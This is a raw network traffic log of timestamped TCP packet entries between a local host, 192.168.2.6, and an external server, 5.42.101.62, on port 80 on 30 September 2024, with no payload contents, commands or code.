Sep 30, 2024 13:59:22.978569984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978584051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978598118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978604078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978627920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978636026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978641033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978656054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978658915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978671074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978688002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978707075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978775024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978790045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978804111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978811026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978817940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978832960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978844881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978848934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978873968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978884935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986083031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986112118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986120939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986128092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986143112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986150026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986161947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986188889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986212015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986222982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986239910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986254930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986259937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986269951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986283064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986284971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986299992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986313105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986314058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.986335039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.986361980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.987313032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987328053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987341881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987361908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.987370014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987387896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.987390995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987402916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.987405062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987421989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.987430096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.987448931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.987464905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.988487959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988502979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988516092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988542080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.988548040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988548994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.988563061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988578081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988590956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.988593102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988609076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.988619089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.988646030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990542889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990583897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990595102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990597963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990622044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990636110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990654945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990669966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990684986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990693092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990699053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990709066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990721941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990742922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990756989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990772009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990784883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990793943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990801096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990812063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990833044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990847111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990886927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990911961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990925074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990947962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.990962029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990976095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.990998030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.991015911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995702028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995747089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995755911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995760918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995780945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995784998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995799065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995805025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995822906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995840073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995846033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995858908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995872974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995886087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995893955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995906115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995914936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995919943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995933056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995942116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995949984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.995958090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995975971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.995992899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996006966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996021986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996036053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996042013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996051073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996061087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996064901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996078968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996090889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996109962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996131897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996145964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996160030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996169090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996175051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996181965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996190071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996201038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996205091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996220112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996221066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996233940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996237040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996251106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996253967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996265888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996298075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996335030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996371031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996402979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996417046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996439934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996458054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996499062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996520996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996535063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996536970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996548891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996557951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996565104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996567011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996588945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996606112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.996608973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.996645927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.082736015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082763910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082781076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082813025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082828045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082843065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082850933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.082858086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082873106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.082904100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.082926035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.083630085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083645105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083659887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083676100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083683014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.083690882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083703041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.083705902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083722115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083730936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.083735943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083751917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.083751917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083769083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.083779097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.083811998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084018946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084033966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084048986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084059954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084064007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084079027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084090948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084106922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084116936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084121943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084136963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084150076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084151030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084166050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084177017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084181070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.084206104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.084213972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085004091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085035086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085050106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085053921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085076094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085089922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085135937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085150003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085165024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085175991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085180044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.085191011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085210085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.085228920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087130070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087148905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087165117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087177992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087179899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087193012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087196112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087218046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087229967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087230921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087246895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087255001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087263107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087284088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087308884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087713957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087728024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087743044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087764025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087770939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087779045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087785006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087800026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087809086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087816000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087840080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087867022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087882996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087896109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087910891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087923050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087924957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087940931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087941885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087954044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.087961912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.087995052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.090198040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.090244055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.090389013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.090441942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.090570927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.090610981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.090717077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.090763092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.090853930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.090898991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.091032028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091070890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.091176987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091218948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.091584921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091598988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091631889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.091772079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091819048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.091938019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091953039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.091984034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092000961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092077971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092118979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092263937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092309952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092442036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092457056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092489958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092500925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092614889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092628956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092643023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092658043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092659950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092678070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092681885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092691898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092705965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092710972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092720985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092730999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092756987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092761040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092788935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092792988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092803955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092818022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092828035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092833042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092843056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092861891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092866898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092890978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092897892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092912912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092926979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092930079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092940092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092947960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092955112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092966080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092969894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092983961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092987061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.092997074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.092998981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093012094 CEST	80	49721	5.42.101.62	192.168.2.6
